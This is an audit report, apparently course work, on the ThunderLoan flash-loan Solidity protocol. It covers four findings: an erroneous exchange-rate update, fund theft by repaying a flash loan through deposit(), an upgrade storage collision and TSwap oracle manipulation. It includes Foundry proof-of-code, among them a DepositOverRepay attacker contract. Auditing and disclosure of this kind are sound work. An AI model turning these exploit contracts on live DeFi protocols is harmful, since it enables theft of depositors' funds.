Thunder Loan Audit Report

Version 1.0

Lance Addison

December 28, 2024

Thunder Loan Audit Report

Lance Addison

December 28, 2024

Prepared by: Cyfrin Lead Auditors: - Lance Addison

Table of Contents

Protocol Summary

The “ThunderLoan” protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

Lance Addison makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

Scope

- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

I enjoyed auditing this codebase and finding new exploits while following along with Patrick.

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	0

Severity	Number of issues found
Gas	0
Info	0
Total	4

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the TunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and teh underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees!

```
1      function deposit(IERC20 token, uint256 amount) external
           revertIfZero(amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7
8          // @audit-high we shouldn't be updating the exchange rate here
9  @>      uint256 calculatedFee = getCalculatedFee(token, amount);
10 @>      assetToken.updateExchangeRate(calculatedFee);
11         token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
12     }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is bocked, because the protocol thinks the owed tokens is more than it has
2. Rewards are incorrectly calculated, leading to liquidity providers potntially getting way more or less than deserved.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem.

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
    function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from `deposit`

```
    function deposit(IERC20 token, uint256 amount) external
        revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        // @audit-high we shouldn't be updating the exchange rate here
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] All the funds can be stolen if the flash loan is returned using `deposit()`

Description: An attacker can acquire a flash loan and deposit funds directly into the contract using the `deposit()`, enabling stealing all the funds.

Impact: All the funds of the `AssetContract` can be stolen.

Proof of Concept:

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
    function testUseDepositInsteadOfRepayToStealFunds() public
       setAllowedToken hasDeposits{
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
           amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
           ));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
           ;
        dor.redeemMoney();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }
```

This should also be placed in `ThunderLoanTest.t.sol` but as a new contract

```
contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor (address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    ) external returns (bool) {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        s_token.approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
```

```
26             thunderLoan.redeem(s_token, amount);
27         }
28     }
```

Notice that the `assert()` checks to see that the `DepositOverRepay` contract has more funds than it started with even after repaying the flashloan.

Recommended Mitigation: Add a check in `deposit()` to make it impossible to use it int the same block of the flash loan. For example registering the block.number in a variable in `flashLoan()` and checking it in `deposit()`.

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan.sol` has two variable in the following order:

```
1       uint256 private s_feePrecision;
2       uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
1       uint256 private s_flashLoanFee; // 0.3% ETH fee
2       uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping will start with storage in the wrong storage slot.

Proof of Concept:

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
1  import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
       ThunderLoanUpgraded.sol";
2  .
3  .
4  .
5  function testUpgradeBreaks() public {
```

```
6       uint256 feeBeforeUpgrade = thunderLoan.getFee();
7       vm.startPrank(thunderLoan.owner());
8       ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
9       thunderLoan.upgradeToAndCall(address(upgraded), "");
10      vm.stopPrank();
11      uint256 feeAfterUpgrade = thunderLoan.getFee();
12
13      console.log("Fee before: ", feeBeforeUpgrade);
14      console.log("Fee after: ", feeAfterUpgrade);
15
16      assert(feeBeforeUpgrade != feeAfterUpgrade);
17  }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`.

Recommended Mitigation: If you have to remove the storage variable, leave it as blank as to not mess up the storage slots.

```
1  -    uint256 private s_flashLoanFee; // 0.3% ETH fee
2  -    uint256 public constant FEE_PRECISION = 1e18;
3  +    uint256 private s_blank;
4  +    uint256 private s_flashLoanFee; // 0.3% ETH fee
5  +    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks, causing users to pay lower fees

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will get significantly reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. The user takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charget the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.

2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
    1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
1       function getPriceInWeth(address token) public view returns (uint256
            ) {
2           address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
                token);
3   @>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
        ();
4       }
```

3. The user then repays the first flash loan, and then repays the second flash loan.

I have create a proof of code located in my `audit-data` folder. It is to large to include here.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.